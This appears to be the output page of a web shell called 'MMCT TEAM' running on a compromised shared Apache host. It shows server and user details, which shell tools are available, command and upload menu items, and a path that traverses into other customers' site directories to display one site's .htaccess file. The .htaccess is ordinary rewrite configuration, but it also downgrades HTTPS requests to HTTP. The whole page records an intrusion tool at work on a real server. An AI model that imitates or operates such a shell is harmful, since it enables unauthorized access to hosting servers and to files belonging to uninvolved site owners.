MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.17.179.132
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/nextvisioneducation.com/../bethepolice.in/../snackpoint.co.nz/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/nextvisioneducation.com/../bethepolice.in/../snackpoint.co.nz/.htaccess
IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
#Gzip
<ifmodule mod_deflate.c>
AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript text/javascript
</ifmodule>
#End Gzip

Options +FollowSymLinks

# Disable Directory Browsing
Options All -Indexes

RewriteEngine On

# Ensure "www" subdomain
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# Check if the request is using HTTPS.
RewriteCond %{HTTPS} =on
RewriteRule ^ http://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# ErrorDocument 404 /404.php
RewriteRule ^index\.html$ index.php [L]
RewriteRule ^about\.html$ about.php [L]
RewriteRule ^contact\.html$ contact.php [L]
RewriteRule ^gallery\.html$ gallery.php [L]
RewriteRule ^booking-table\.html$ booking-table.php [L]
RewriteRule ^services\.html$ services.php [L]
RewriteRule ^all-locations\.html$ all-locations.php [L]
RewriteRule ^sitemap\.html$ sitemap.php [L]
RewriteRule ^terms-and-condition\.html$ terms-and-conditions.php [L]
RewriteRule ^privacy-policy\.html$ privacy-policy.php [L]
RewriteRule ^blogs\.html$ blogs.php [L]
RewriteRule ^faqs\.html$ faq.php [L]
RewriteRule ^blog/(.*)\.html$ blog-details.php/$1 [L]
RewriteRule ^menu/(.*)\.html$ menu-listing.php/$1 [L]
# Handle rewrites for specific patterns first
# RewriteRule ^([a-zA-Z0-9-]+)$ index.php?loc_slug=$1 [L]
# RewriteRule ^([^/]*).html$ menu-listing.php?url_link=$1 [L]
# RewriteRule ^([^/]*)/([^/]*).html$ menu-listing.php?loc_slug=$1&url_link=$2 [L]

# Custom 404 page
ErrorDocument 404 /404.php

# Ensure that 404 errors are handled correctly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /404.php [L]
# php -- BEGIN cPanel-generated handler, do not edit
# This domain inherits the “PHP” package.
# php -- END cPanel-generated handler, do not edit

MMCT - 2023